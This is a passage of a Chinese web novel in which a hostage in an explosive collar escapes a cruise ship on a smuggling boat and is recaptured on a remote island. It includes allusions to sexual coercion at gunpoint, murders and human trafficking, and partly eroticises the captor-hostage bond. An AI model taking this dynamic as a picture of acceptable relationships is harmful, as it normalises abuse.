没人知道,沈砚川曾嫉妒谭松。
他从来不承认,但是心里一直隐隐嫉妒。
谭家只有谭松一个孩子。
沈砚川却只是私生子。
谭松的父亲做尽坏事,也要保护自己的老婆孩子,所以用谭松和谭妈妈威胁他,一威胁一个准。
谭家有钱的时候,谭爸爸支持谭松的梦想,让他去做他热爱的事情,去玩极限运动。
后面被整到破产,赌钱的时候被做局,再到后面被枪决,也想着把遗体捐出去,给自己的儿子换一张荣誉证书。
为的就是,让谭松不仅仅是杀人犯的儿子。
至少在网络上,能搜到他做的一点好事。
枪决前夕,是沈砚川陪着谭松去见谭爸爸的。
谭爸爸说:“儿子,对不起,爸爸做了错事,只希望爸爸死亡,能把所有的罪孽都带走,你得活下去,你们得好好的……”
沈砚川那个时候就在想,凭什么谭松事事都不如自己,却能得到家人的看重和成全。
沈砚川也喜欢极限运动,是真心喜欢。
但他不敢玩。
他获得今天这一切,都是他压抑自己,一刻钟不敢懈怠,让自己变得足够优秀,才可以入沈爷爷的眼。
他爹恨他得不到母亲的心。
他妈恨他流了一半他爹的血。
他兄弟姐妹恨破坏了他们的家庭。
但他们又留下他。
因为沈砚川的爹需要靠他来威胁母亲,他的妈妈希望他救她离开,兄弟姐妹想要在背地里使唤他……
他有用。
在很小的时候,沈砚川就明白,只有自己有用才可以留下来。
一旦没有利用价值,他就会被所有人抛弃。
于是,沈砚川一直都很有用。
大火之后,那些人都死光了。
只剩下他。
沈爷爷老了,他没得选。
沈砚川被沈爷爷带回家,像是一台精密运作的仪器,达成了一个合格继承人所需要的一切能力,甚至比他的父亲更优秀。
所以,沈家落在他的手里。
他圆满了。
但为什么还会嫉妒呢?
沈砚川时常在午夜梦回时想,他嫉妒的,是谭松不需要优秀!
谭松比不上他,可谭松不需要和他比。
哪怕谭松后来去坐牢,秋榕榕都会定期去探望他,一开始秋榕榕总是看着沈砚川一起,后来沈砚川不愿意去了。
他曾不止一次地想要质问秋榕榕。
“你们不该有仇吗?
你为何能放下上辈的恩怨心平气和地和他交往?
他已经坐牢了,不能在学校继续保护你,为什么你还要去探望他?
为什么要去看一个没有利用价值的人!”
大学后面的时光,是沈砚川陪着秋榕榕的。
那个时候他总是在想,如果自己也沦落到谭松这个地步,凭借着他们四年的情谊,如果不拆穿,秋榕榕会不会向对待谭松一样对待他?
沈砚川心里有着隐隐的期盼。
但秋榕榕是周景行的人,他只能在旁边看着。
无法去验证这一期盼。
周景行回房间的时候,看着熟睡中的秋榕榕,弯下腰亲了亲她光洁的额头,然后把她把踢掉的被子盖好。
他没睡觉。
周景行脑海里都是今夜和沈砚川的谈话。
彻底做一个坏人,也是一件困难的事情。
他们都知道最终的结果不能变。
但是在过程上,多多少少都掺杂着个人风格。
沈砚川想让谭松是在最后一项极限运动翼装飞行上。
他想杀死是谭松,还是那个不可能存在的自己?
周景行把秋榕榕带在身边,为的又是什么?
他们其实非常合拍,同样喜欢吃清淡的食物,喜欢两个人温馨固守小家的感觉。
所以,周景行安排每一次约会。
他骗她的心,到底是为了真相揭露的时候让她更痛苦,还是他自己耽于这种幻象中,沉溺于片刻温柔。
这是一条极为危险的警戒线。
周景行和沈砚川都清楚地知道,他们不能踏过这条线。
能稍微改变的是过程。
绝对不能更改的是结果。
而在黑夜里,秋榕榕缓缓地睁开了眼睛。
刚才,周景行离开的时候把手表放在了桌面上,秋榕榕用透明胶带粘了手表上的指纹。
他不姓周。
周景行不是他的真名。
如果能逃走,秋榕榕就可以靠着这个指纹查出周景行曾经死在大火里的身份。
第108章 计划
在逃离的前一天,游轮遇见了罕见的大风暴,铺天盖地,早晨醒来还是阴云密布,不见一丝天光。
当时纸条上写的是:21号凌晨4点,后甲板应急梯下,救援艇位于第二浮标处,绿灯闪三下为识别信号。
她如何在凌晨到达指定地点呢?
秋榕榕打了个哈欠,翻过身用小拇指勾着他,“哥哥,晚上我们去赌场看看吧。”
周景行攥住她的手,“你之前不是不想去吗?”
她手上的戒指硌着他的手掌心。
这枚戒指,秋榕榕一直没有脱下来。
周景行觉得,她是出于恐惧不敢摘下。
事实上,秋榕榕是因为这枚钻戒真的很值钱,才随身佩戴的。
秋榕榕之前一直在上学,虽然有打零工,但是存下来的钱都在手机支付里。
她没有现金。
之前又没有买奢侈品的习惯。
如果到时候真的逃走,异国他乡的,手里没钱,又没护照和身份证,她会过得很艰难。
这枚戒指到时候可以应急。
昨夜风浪大,游轮晃动,秋榕榕其实一直没有睡踏实,声音里还透着几分倦意,“难得坐上游轮,总不能一直在房间里面待着,我出门的时候口袋空空,手机又在你那里,没办法上牌桌,就在旁边看看。”
“我陪你一起。”
“我自己也行……”秋榕榕把脸侧着埋在枕头上,怕他看出端倪。
周景行沉默片刻,“这艘船已经离岸很远,附近都是蛮荒的岛国。”
秋榕榕身体明显紧张起来。
她不回话。
周景行把她掰正,偏过头吻了上来,他身上有着好闻的木质香,像是路过清晨的树林。
“我本来买了一座岛,写在你的名下……”周景行原本想说,虽然没能在她最幸福的时候把这座岛送给她,但这是为她准备的礼物,他可以带她去岛上住一段时间。
秋榕榕却想起另外一件事情,她问道:“你有没有给我买人身意外险?”
“没。”
“哥,你可以给我买一份。”见周景行抿着唇,秋榕榕扯着他睡衣的袖子殷殷切切,“反正你觉得我是欠你的,到时候如果你不准备放过我,还可以拿一份保险赔偿,就当是我赔给你。”
就说游轮上就有卖保险的。
“这两天被保险推销员缠上了?”
秋榕榕干脆地点头,“嗯,他们说的好划算。”
这不是谎话。
谎话是上面那句。
秋榕榕当然不认为自己有罪。
她只是觉得,自己在逃走之前买一份人生意外险,如果她没能成功逃走,或者逃走的时候出现意外,只要周景行向保险公司索赔,保险公司就会拼命调查秋榕榕的死因。
秋榕榕没有爸爸妈妈,如果出了事情的话,没有人会关心她真正的死因。
除了要掏很多钱的保险公司。
有利益牵扯在里面,他们一定尽心尽力。
这样,秋榕榕就算死了,也是被调查过一番的,不至于死不瞑目。
“那只是小钱。”
“你可以多买几份,赔偿额累计叠加很高的。”秋榕榕想起新闻上很多杀妻骗保的社会事件,很多都是保险公司最终查出来端倪的。
“不需要。”
在秋榕榕贫穷的观念里,没有人会嫌钱多。
周景行不缺这点钱,也不可能去索赔。
他知道,那会给他带来麻烦。
夜幕低垂,海上月藏在厚重的云层里。
周景行为秋榕榕挑了一件冬日旗袍,墨绿色的缎面,衣襟盘扣复古别致,领口处围着一圈柔软的兔毛,如初雪覆霜。
秋榕榕太瘦,肩胛突出,锁骨浅浅两条,撑不起穿旗袍时应有的丰腴妩媚。
“能不能换一件?”秋榕榕准备今夜通宵耗在赌场里,然后伺机离开,到达相约的指定地点。
“不行。”周景行拿出高跟鞋,又替她将长发挽起,“就这么穿,很漂亮。”
旗袍在室内穿有暖气还可以,一旦到了甲板外,失温很快,而高跟鞋又不方便逃跑,实在不是好的选择。
秋榕榕怕周景行察觉到什么,乖乖穿了高跟鞋。
游轮赌场位于甲板下的第五层。
赌场内,金碧辉煌,一盏盏水晶灯垂下来,折射出万千光影,四周没有一扇窗,外面的海洋漆黑,室内却纸醉金迷。
荷官有男有女,有来自世界各地的各色人种,他们脸上带着标准的笑容服务顾客。
赌桌上围坐着来自世界各地的富商、军火贩子、雇佣兵、明星、没有身份的人……
秋榕榕看见了许多在体育和娱乐节目上才能看见的大人物。
在这里,没有人关心牌桌上的人是从哪里而来的,他们只在乎你手中的筹码是否带够。
周景行买了一把筹码,放进秋榕榕手心里,“去玩吧。”
他买的这种筹码一万美金一枚。
“我不会。”
“随便下,全输了也没有关系。”
他轻轻推了一下她的后背,希望她可以学坏。
秋榕榕在人群里看见凯瑟琳。
红胡子在赌场里输了钱,把气撒在凯瑟琳的身上,她原本给红胡子泡热咖啡,结果那杯咖啡全部烫在她的手上。
“你没事吧?”秋榕榕等到红胡子离开后,才上前和凯瑟琳搭话。
她倒了凉水,帮凯瑟琳敷手背上的烫伤。
凯瑟琳的眼泪如珍珠般大滴大滴落下。
她没有舌头,不能说话。
但她还是能感知到疼痛的。
秋榕榕从斜挎包里掏出药膏。
“这个是治疗外伤的,不知道针对外伤管不管用,你要不要试试?”
凯瑟琳点了点头,秋榕榕帮她的手背敷上药膏。
做完这一切之后,秋榕榕舔了舔下唇,有些紧张地问道:“我觉得有点冷,你那里还有羽绒服吗?有的话能不能借我一件?”
凯瑟琳点点头。
秋榕榕比了一下自己和凯瑟琳的脚。
凯瑟琳是西方人,脚的码数比她大,但鞋子大了也可以穿。
秋榕榕拉着她的手腕,“还有鞋子,能不能再借我一双厚的雪地靴。”
就在此时,周景行走了过来。
“怎么不去牌桌旁边玩?”
秋榕榕赶紧松开凯瑟琳,“我现在就去。”
好在凯瑟琳是哑巴,不会透露出她要借衣服的事情。
周景行搂着她纤细的腰肢,贴着她的耳朵问道:“和那哑巴走那么亲近做什么?亲出感情来了?”
第109章 控时
秋榕榕故作轻松道:“她的手被烫伤,我帮个忙而已。”
因为说的是实话,周景行也没再计较什么。
秋榕榕刚才向凯瑟琳借衣服和鞋子的时候,因为周景行突然出现,没来得及让她把东西放在指定位置。
只说自己去找她拿。
希望凯瑟琳千万别当着众人的面直接把衣服给她。
秋榕榕心不在焉地上赌桌,她玩的是轮盘,押数字或红黑,靠银色小球落点,决定输赢。
规则比较简单,下注红黑的赔率为一比一,投注数字赔率则为三十六比一。
她手指捏着筹码,手心上面都是汗。
押红黑比较稳妥,秋榕榕就只押红黑。
玩了几把,输多赢少。
即使那些筹码不是她买的,她也觉得心疼。
周景行倚在她身侧,眸中含笑地看着她推筹码的手:“怕什么?赌大一点也可以。”
秋榕榕不喜欢赌博。
赌博来钱太快,当一枚筹码一万的时候,她就很难再静下心来去做一个月一万工资的工作。
在这里,只是为了拖延时间。
凯瑟琳拿着衣服和鞋子很快又回到赌场。
秋榕榕发现凯瑟琳似乎是在寻找她。
不能让她直接过来。
秋榕榕立即握住周景行的手,声音软弱:“我有点头晕……我们去休息室坐一会儿吧,好吗?”
周景行挑眉,低头看了她一眼:“才几把,就玩尽兴了?”
“嗯嗯。”她顺势贴近他一点,眸子清澈无辜,“输赢太大,我的小心脏可受不住。”
头晕是真的,那是因为被赌场灯光晃的。
而心脏受不了也是真的,她刚才输掉的筹码她都没有敢计数。
“行吧。”周景行示意她可以自行离开。
他准备用秋榕榕剩下的筹码继续玩。
秋榕榕拉着他的手,与他十指相扣,“陪我。”
秋榕榕把周景行拉进旁边的贵宾休息室,休息室边上有小的换衣间。
他没准备陪她。
“别走。”秋榕榕看着休息室钟表上的时间。
周景行眸色加深,“你到底想做什么?”
赌场离后甲板应急梯很近,秋榕榕来赌场,就是为了到时候直接从这里逃走。
快艇驶离游轮两公里3~5分钟就可以了。
秋榕榕需要找时间去约定地点。
如果真的有快艇存在,她立刻会坐快艇离开。
如果没有,她可以再找个借口回到赌场,当做什么都没有发生。
十分钟的空闲时间,就可以完成这一切。
“我们试试看在外面。”秋榕榕把脸贴着他的手掌心,脸颊红扑扑地噙着笑。
周景行呼吸一滞,“怪不得江无渡说你是他养过最像兔子的人质,兔子在西方可不是什么纯洁的动物,它代表放荡,倒是符合你的本质。”
秋榕榕也不否认,她瞟向休息间,偷偷用舌尖舔了一下他的手掌心,“那里没监控,去不去呀?”
无法拒绝的邀请。
周景行的新奇感,都是秋榕榕带给他的。
他奇怪,她为什么会懂这么多?
秋榕榕感恩伟大的互联网,感恩青春期的好奇心,让没吃过猪肉的人,详细地知道猪跑的步骤。
并且还能举一反三。
换衣间仅供容纳一人,上面是一盏小小的顶灯,笼罩住这一方封闭的小空间。
周景行先进入,他一本正经的样子在秋榕榕看来有些好笑,她真想撕破他的假面具,扯掉人皮,看看阴暗的内部。
秋榕榕刚把试衣间的门关上,便被一只手拽住了手腕。
周景行反身将她困在了墙与他之间,不给她后退的余地。
这里太狭窄了。
他们能够感受到彼此的呼吸。
“勾引我,你是不是想做坏事?”他俯身,声音低沉,在她耳畔拂过一股热气。
“我认,我现在不就是在和你……做坏事?”
秋榕榕垂着眼,想侧过脸,却被他一手捏住了下巴,迫使她仰头与他对视。
“我说的不是这个。”他语气不紧不慢,温柔的眼神里藏着寒冰,“你最近倒是越来越狡猾了,跟谁学的?”
秋榕榕睫毛轻颤,嘴唇蠕动,却一个字都没吐出来。
她这是比较有天赋,自己领悟出来的。
他见她走神,低头吻住了她,不容置疑。
秋榕榕被他吻得有些喘不上气,只能本能地抓住他的领带。
“慢点……我换口气……”
“干坏事可以,但别被我抓到。”他咬着她的耳垂,沙哑克制,“被我抓到,你就死定了。”
秋榕榕在心里估算逃亡时间,“古话有用,话多的男人不太行。”
快点开始,然后控制时间结束。
昏黄灯光打在他侧脸上,他那双柔情似水的眼睛里藏着暗流。
欲望交织。
他的手不动声色地解开她上衣的纽扣。
“看在你那么主动的份上,我又怎能不让你如愿?”
他贴着她的耳边低语,像是在说情话。
秋榕榕心跳剧烈。
他低笑着,一字一句,“用你仅剩的理智想想看,做完坏事后该如何求我放过你……”
一语双关。
她仰起头,视线里,只剩下彼此。
结束之后,秋榕榕看着休息室的时间,刚刚好。
凌晨3:45。
休息室没有单独的浴室,需要找赌场服务人员开个新房间。
“一起洗?”
“不了,我没力气,要自己慢慢泡泡澡,你别打扰我。”秋榕榕揉了揉鼻子,“再说,这里的浴室也没我们自己房间好,等我恢复恢复,回去后再一起吧。”
“去吧,等会让服务员把你开的房间钥匙送给我。”周景行慵懒地靠在沙发上,衬衫褶皱,他拿着手机回消息,没有抬头。
“嗯。”
秋榕榕没有洗澡,她快步跑向赌场大厅,凯瑟琳已经不在此处,秋榕榕向工作人员打听后,才知道她找不到秋榕榕后,把衣服寄放在了前台。
秋榕榕从前台领取衣服,快速套上厚羽绒服,把高跟鞋扔掉,换成平底的雪地靴。
凌晨四点,秋榕榕来到后甲板应急梯处,看着不远海雾中有处绿灯闪烁三下。
那里就是逃离的快艇!
医生所递的纸条不假,快艇真的存在。
第110章 船票
海面风急雨斜,夜雾是湿冷的纱幕,将天地一层又一层地覆盖住。
秋榕榕躬着身子,手扶着栏杆顶着风雨往前走,脚下甲板积了水,打湿了雪地靴前端,寒意顺着裤脚爬上小腿。
秋榕榕抹了抹脸上的雨,加快步伐。
接近应急梯,秋榕榕看见红胡子正在教训凯瑟琳。
“光制造车祸现场和尸体就花了我千万,尸体都烧成灰了,你那老娘竟然还不信你已经死了!”
“她一直派人追查你,还真给她找到道上的人来调查,实在烦人,就算知道你活的又如何?你孩子都生了两个,难不成还想回去!”
凯瑟琳捂着脸,跪在甲板上垂泪哭泣,那双幽怨的眼睛透过重重雨雾看向秋榕榕的方向。
秋榕榕正躲在甲板的木箱边。
她之前刷新闻的时候,也看见有专业的博主分析,说凯瑟琳的“死亡”有蹊跷。
什么“遗体”提前火化,什么车祸是早有预谋,什么死的时候被撞得面目全非,看不出来脸……
凯瑟琳的妈妈抓着这些疑点,满世界地寻找死去的女儿。
几近疯狂。
秋榕榕同情凯瑟琳的遭遇,但没办法帮助凯瑟琳。
她自身难保。
这次逃亡,就是孤注一掷。
她知道自己的时间不多。
纸条上写得清楚:后甲板,应急梯下,第二浮标处,绿灯闪三下为信号。
现在距离救援艇靠近,只差最后几步。
海上起雾了,能见度不足五米。
秋榕榕小心地避开红胡子,沿着船尾的阴影位置,摸索着往后甲板走。
应急梯半掩着,秋榕榕用有些冻僵的手指推门时,手心不小心被凸出来的铁片割破一道浅口,血迹混进雨水里,很快被冲刷干净。
“榕榕,我在这。”一个熟悉的声音低声响起。
是周阿姨。
她戴着一顶泛黄的白色假发,脸上化着老妆,腰背弯曲,看起来就是个寻常的八旬老太太。
秋榕榕微微警惕。
她并不完全信任这个突然出现的周阿姨。
但这条逃亡路线,是她目前唯一逃出生天的可能。
秋榕榕握着周阿姨的手问道:“周阿姨,那船通往哪里的?开船的是什么人?”
“卖假酒的走私船,偶尔也会拉一些没身份的人偷渡,这个是船票,你拿着。”周阿姨周阿姨把一张纸折得极细,塞进她手心,“他们只认这个。等到了第一个卸货点,你立刻下船,我会来找你。”
“你不一起?”
周阿姨神色一滞,避开她的目光:“我还有事没做完……对了,你有没有在你母亲那见过翡翠玉佛?”
翡翠玉佛?
当年,翡翠玉佛不是被他们卖给了徐家,分完赃款,各奔东西吗?
“不曾见过。”
周阿姨语气稍微有些急切,“不是那尊大的,是三个小的。”
秋榕榕还是摇头。
周阿姨脸色沉下来,“算了,时间不早了,你先上船,这里太危险,等到了安全地点我们再聊。”
“好。”
秋榕榕答应得干脆,心里却打定其他主意。
只要上岸,她就立刻设法找到最近的大使馆。
只要秋榕榕讲清楚自己是被强行控制、身带爆炸项圈,大使馆会庇护她。
无线电引爆器的有效范围不超过两公里,只要她脱离控制距离,项圈就暂时失去作用。
而周景行和沈砚川,手下的人再多也不可能杀进使馆逮人。
这是她最有胜算的逃脱机会。
此时,秋榕榕听到甲板上有人开枪。
周阿姨已经离开。
秋榕榕趴在栏杆边等风过去,待快艇靠近后,从应急梯下的小平台跳了下来,抓住悬吊的缆绳,然后快速上了快艇的甲板。
快艇甲板上只有两个人,一人靠近船尾掌舵,另一人在此处检查上船员的船票。
如果没有船票,他们会直接架着人,把人扔进大海里喂鱼。
秋榕榕听不懂这些外国人说的什么,那外国人正准备找她索要船票的时候,游轮的甲板上又传来好几声破空的枪响。
她赶紧把船票塞到那外国人的手里,结结巴巴地用英语重复“快开船”。
感谢沈砚川这个合格的老师,让她英语口语发音还算标准,这几个外国人勉强能听懂。
几秒后,那人点头挥手,船开始倒转掉头。
船舱内还有几名偷渡客,全都缩着身体,目光呆滞,没人发出声音。
秋榕榕在心里祈祷周景行没发现她的小动物,当快艇启动的时候,秋榕榕的心提到了嗓子眼。
开得足够快,三分钟就会超过两公里。
秋榕榕隔着遥遥海雾,听着快艇引擎发动的声音,然后看向那艘巨型游轮。
就在秋榕榕刚刚站过的地方,她看见周景行和沈砚川并肩而立。
隔着雾,她当然看不清周景行的表情。
但她知道,现在的距离还没有超过两公里。
秋榕榕极度恐惧。
她心跳加速,指尖冰凉。
周景行看见她下船了吗?她现在穿的是黑色羽绒服,海上能见度低,他应该没有在第一时间发现吧?
不能按。
一旦按下那个按钮,秋榕榕会当场被炸死。
她跑到快艇侧面的栏杆处,把半个身子探在外面,然后在心里数着秒数计算时间。
这样,至少她在爆炸的瞬间会掉进海里,尽量少连累到这艘船上的其他人。
雨打在她的脸上。
也不知是秋榕榕心中的祈祷起了作用,还有周景行没发现她下了游艇还在甲板上找寻,脖子上的炸弹最终没有被引爆。
游轮彻底离开她的视线范围。
海上的雨势也渐小。
秋榕榕裹着湿冷的袄子,和那些偷渡客坐在一起。
直到到达附近的小岛后,雨彻底停下来,乌云后透出一抹阳光照在秋榕榕的半边脸上,她才有一种劫后余生的恍惚感。
周阿姨让秋榕榕在这座小岛上下船。
但秋榕榕发现,这个小岛很像是私人岛屿,有停机坪和直升机,但是没有其他的游客。
岛上有一个私人度假村,冷冷清清,这艘走私船路过这里,是为了把假酒卖给度假村。
船上的那几个偷渡客没有人从这里下船的。
收船票的外国人看了一眼秋榕榕。
秋榕榕摇摇头,对他露出讨好的笑容。
游艇再次启动。
第111章 活路
周景行没想到秋榕榕脖子上戴着微型炸弹的项圈,还敢躲起来。
试衣间里,周景行就已经察觉到秋榕榕的反常,她太热情,热情到有些下贱。
包括后面洗澡,周景行也看出秋榕榕是在为自己争取时间。
他刻意放任秋榕榕从自己身边短暂离开,是怀疑她已经和周红霞联系上。
周景行想借着秋榕榕,把周红霞钓出来。
游轮在海上就是一座孤岛。
无国界,无监管,四面八方皆是深不可测的大海。
秋榕榕没有身份证,没有护照。
她没有钱,没有靠山,没有能护她的人。
在这样一艘国际游轮上,她被困住,插翅难飞。
周景行并不着急。
他始终坐在博弈桌的上方。
这场游戏,胜负一开始就已写好。
果然,他成功摸到了周红霞的踪迹。
他不会放过任何一个周家人。
当然,其中也包括逃亡若久的周红霞。
子弹打中了周红霞的肩膀。
她虽然再次逃离,但也受了伤。
甲板上的人开始大规模搜查秋榕榕的下落。
周景行站在雨中,黑色的风衣衬得他整个人愈发修长,他手指摩挲着炸弹引爆器的按钮,唇角的笑容温和浅淡。
他很好奇。
她要怎么回来面对他?她要怎么圆那个漏洞百出的谎?
他想看看,她那点小聪明和可怜的狡黠,还能演出几分戏来。
可直到甲板附近被翻了三遍,依然没有找到人。
秋榕榕,好像不在游轮上。
周景行抬眼望向被夜雾吞没的海面,一艘小小的快艇正在远航,他忽然意识到不对劲,眼神一点点沉了下去。
他还真是小看她了!
原本他以为,她顶天敢和周红霞说两句话,随后就得回来继续待在他身边,扮演乖巧的人质。
却没想到,她不是躲起来,而是直接顶着炸弹跑路了!
赌的是引爆器的信号范围吗?
她脖子上戴的那款微型炸弹在小圈里很出名,数量不多,但设计精巧美观,原本是用来控制那些比较有本事的特工的。
秋榕榕应该认不出来这款型号。
除非有人告诉她。
周景行立刻联想到周红霞和那个被他枪毙的医生。
秋榕榕能接触到的,也就这两个人。
沈砚川听完手下汇报后,对周景行说道:“没找到人。”
周景行指着远去的游艇,“她在那艘船上。”
沈砚川皱眉,“她吃了熊心豹子胆了,还敢跑!”
周景行和平时没什么变化,他温柔的眼是夜里不灭的灯,“周红霞帮得她。”
“她敢信那个周红霞。”沈砚川嘲讽地笑道:“天真,就周红霞和她爹妈那点稀薄的同学情谊,怎么可能费劲救她,说不定是为了……”
沈砚川瞬间想到什么,和周景行对视一眼,“那东西不会在秋榕榕身上吧,当年弄死她全家的时候已经搜过了,她家里没有。
秋榕榕天天跟在你身边,她从内到外你都清清楚楚,应该不可能藏东西。”
当年的翡翠玉佛抢劫案,有一个只有周景行才知道的秘密,那就是大的翡翠玉佛只是为了掩人耳目,最重要的东西分别藏在大翡翠玉佛的赠品里。
沈砚川觉得事情变得棘手,“秋榕榕真是我教过最笨的学生,都已经告诉她会带她回去,还敢玩逃跑。”
说着,沈砚川意味深长地看着周景行道:“你们做的次数太多,她开始赌你会对她手下留情了。”
周景行摇头,“她不笨,之所以逃亡,是知道,继续留在我身边,没有活路。”
在秋榕榕眼里,逃走比留下,存活的可能性更大。
“可你对她还不错。”沈砚川有些意外。
“上次我用枪吓到她,她不想在我们身边等死了。”
周景行想起秋榕榕在他用枪管做着和刀柄同样事情的时候,她看他的眼神。
她那么的乖巧,不敢动,也不敢有任何反抗,她瞳仁一动不动,瞳孔深处仿佛却藏着团死寂的风暴。
是愤怒,是羞辱,是恐惧。
但她硬是扛了下来。
哪怕在子弹上膛的时候,她被吓得失禁,也在事后很快调整好心态,又围在他的身边。
后面甚至还有胆子拉他进换衣间。
他想过她会背叛,会偷他身边的机密资料,会破坏他的生意,或者趁着睡觉偷袭他。
周景行甚至知道,秋榕榕手上还有一个小小的刮胡刀片。
他在等着她动手。
却没想到,她竟然跑了。
她那么怕死的人,顶着脖子上还没有拆掉的项圈,坐上语言不通的快艇,果断逃走。
毫不留恋,也未曾被驯服。
她已经认定,继续留在他的身边是死局。
“那个项圈上还有定位器,我们要在她联系到国际救援组织之前,把她抓回来。”
如果真的让秋榕榕找到救援,把脖子上的项圈拆下来,还在国内的江无渡就危险了。
“让江无渡先从国内撤离。”周景行手扶着栏杆,“现在安排船,我亲自去接她。”
秋榕榕没有选择在第一个岛屿下船。
她数了数船上的偷渡客,除自己之外,一共有五个人。
三男两女。
这附近的岛屿全部没信号。
有一位偷渡客的手上有卫星电话,可以拨打出去,但那位偷渡客面部毁容,看起来异常凶狠。
秋榕榕还没接近他,他就用狠厉的眼神警告她。
秋榕榕不敢贸然拿出钻石戒指交换。
她怕财帛动人心,担心这些人看到钻石之后生出歹念,抢劫杀人。
秋榕榕现在最需要的,是这艘船前往有法之地。
她一旦度过边境就去自首。
然后请求援助律师,替她联系大使馆说明她身上的特殊情况。
和秋榕榕一同乘坐快艇的还有一位黑皮肤的女生。
看起来个头比她还要小。
像是混血亚裔,皮肤黑亮发光,能说几句中文,但不够流畅。
她用蹩脚的中文偷偷对秋榕榕说道:“我刚刚听开船的人说,船上的食物不太够,如果再过两个站点我们不下船,他就要把我们扔下去几个。”
第112章 死路
秋榕榕不想葬身大海,死得不明不白。
她从黑皮少女的口中,打探到这条船的相关信息。
这艘船确实和周阿姨所说的一样主要工作是在附近的岛屿和路过航线上的游轮卖假酒。
同时还担任着贩卖人口和帮人偷渡的工作。
像他们这种偷渡客,上船之前买的那个船票要二十万,下船之后需要再支付三十万。
他们不会把巨额的现金带在自己身上。
所有偷渡的人都会在目的地安排自己人接应,确定安全后,再支付尾款。
秋榕榕听到这里心凉了半截。
她没人接应。
周阿姨也完全没有提过接应的事情。
秋榕榕紧紧地握着口袋里的钻石戒指。
这枚戒指的价格远超三十万。
到时候她得靠这枚戒指买自己的命。
其实,这艘船的信用度,原本是比较高的。
但是秋榕榕这次坐得比较倒霉。
船长换人了。
老船长退休,而新的船长似乎不讲道义。
他嫌弃送人没有卖人赚得多,想着船上的口粮贵,想把他们从路上扔掉。
船上只有鱼。
所有的东西都需要买。
那些人不认纸币,只认手表,黄金和宝石。
秋榕榕就一直饿着。
快艇停泊的第二个地点也是一座小岛。
“这船会不会经过那种人多又旅游业发达的大型岛屿?”
黑皮少女缓缓地说着。
她的语速很慢,尽量让秋榕榕听得懂。
“当时船长承诺我们的是,带我们去渡渡群岛。
偷渡上岸之后,可以用传票的票根买身份,那里边境管理松散,有大量的自由港口可停靠。
但现在换了船长,我也不清楚最终能不能到达渡渡群岛。”
黑皮少女是从战乱国逃出来的。
她所在的那个国家有阉割少女的习惯。
女孩在那里要行割礼。
她出于恐惧,联系到异国他乡的姐妹,想到这个办法逃出来。
船上很凶的男人是雇佣兵。
剩下还有一对被迫害的父女,一个破产逃命的商人。
坐上这条船的人,都有着必须要逃离的地方。
当秋榕榕第三次看见那个船长不善眼神的时候,她就知道自己必须下船。
“你别害怕,和我一起。”黑皮少女曾接受过别人的帮助,才坐上逃离的快艇,“我在渡渡群岛上认识一个大姐姐,她会来接我们。”
她握着秋榕榕的手,那双眼睛如黑曜石般明亮。
秋榕榕被人推搡着摔倒在湿冷的沙砾地上,手掌擦破,羽绒服早就被雨水和海浪浸透,贴在身上,又冷又重。
她坐起身,狼狈地喘息着,额前湿漉漉的头发遮住了眼。
第三座岛礁是一座矿岛。
岛上有丰富的锂矿石资源。
与约定的航程还差一大半,他们就被抛弃。
那位很凶的雇佣兵开了枪,试图和快艇上的人理论,被快艇上的人当场打死。
快艇上的人扬长而去后,秋榕榕趴在雇佣兵的尸体上翻找,找到了他的卫星电话。
秋榕榕跪在地上,手忙脚乱地想要拨打救援号码。
但是,这该死的电话竟然有密码锁。
不是指纹,不是面部解锁,就是该死的六位数密码!
雇佣兵已死,死人是不会告诉她密码的。
四周一片荒凉。
不远处是被采空的矿坑,锈迹斑斑的吊车支架斜立着,随时会崩塌。
他们找到几排临时搭建的工棚,门板用铁丝拴着。
黑皮少女找到岛上的矿工求助。
一番比划,矿工愿意帮他们拨打电话。
秋榕榕想自己打,矿工不把手机给她。
“他说,他来帮忙联系。”
秋榕榕听着黑皮少女的翻译,抬起头,望向灰蓝色的天与海交界的地方,风灌进肺里,冷得她眼眶发酸。
那一刻,她几乎以为自己真的可以获得自由。
直到矿工带来了秋榕榕的噩梦。
周景行和沈砚川从船上走下,一个面带浅笑,一个神情严肃。
他们用流利的当地语言交流和矿工交流。
矿工对着他们点头哈腰。
原来这个矿岛,是他们旗下的产业之一。
孙悟空以为自己翻过了五指山,没想到还在如来佛的手掌心。
秋榕榕再见到他们的刹那,整个人像被抽走骨头般软了下来。
黑皮少女在她耳边说的话,她已经听不清了。
周景行站在矿渣铺出的土路上,黑色风衣猎猎作响。
他对她伸出手,“过来。”
没有质问,没有愤怒,也没有威胁。
他细长的小拇指上还勾着炸弹引爆器。
荒岛、风声、破船票,秋榕榕脑袋晕乎乎的,她忽然意识到,这逃亡的悲剧感,是他们赏赐的。
她死定了。
秋榕榕的脑海里只有这一个想法。
她站在原地不动。
周景行微微蹙眉走向她。
下一秒,秋榕榕直接扑通一声跪在他面前,好在地面是沙地,发出钝响,却没那么疼。
她顾不得尊严,额头贴着地面上的小石子,海水混着泥,顺着她的发丝滴落在地。
“我求你了……放过我,这次是我错了,饶我一条命,我再也不敢了……”
秋榕榕连连磕头,声音里带着浓重的鼻音,身体抖得像筛子,眼泪却怎么都挤不出来。
是恐惧,是害怕,不是悲伤。
“只要你让我活着回去,你要我怎么做都可以,真的……我不跑了,我要是再跑,从今以后不得好死。”
她举起三根手指发誓,膝行着往前爬了两步。
“你能不能当做今天什么都没有发生过?我以后一定会听话,我听你的……”
周景行低眸望着她,唇角无悲无喜。
她如此的贪生怕死。
为了活着连尊严都不要。
这样的女人有什么好?
黑皮少女不知道发生了什么,想把秋榕榕从地上扶起来。
“别跪,不怕他们,这里有好多人。”黑皮少女看不清局势,不知道这里的人都是周景行的人。
秋榕榕不想连累她,将她推开,恶狠狠地说道:“大姐,我们认识才不到半天,你那个拗口的外文名字我到现在都念不出来,没多少交情的!
你不要多管闲事!走远点!去找你的那个姐来接你!”
推搡的时候,秋榕榕偷偷把那一枚值钱的钻戒塞进黑皮少女的口袋里。
秋榕榕知道,黑皮少女能逃出来也不容易。
她苦难的过去在秋榕榕面前展开过,秋榕榕不能毁了她好不容易为自己争取到的未来。
“你别赶我走!我帮你对付坏人!”
黑皮少女不愿意离开,她脸上露出愤怒的表情,勇敢的站在秋榕榕的面前,伸出两只手,挡着周景行和沈砚川。
“我不用,你走啊!不要老是让我重复,不要再自作多情的多管闲事!”
秋榕榕知道今天死路一条,不想再连累无辜的人。
沈砚川摘下眼镜擦拭后,又重新戴上。
“秋榕榕,你可真不是一位好学生,这才多久,又乱交坏朋友。”沈砚川慢条斯理地拔出枪对准黑皮少女,“记住,她因对你的不忍心而死。”
而周景行也在这个时候,将伸出的手收回。
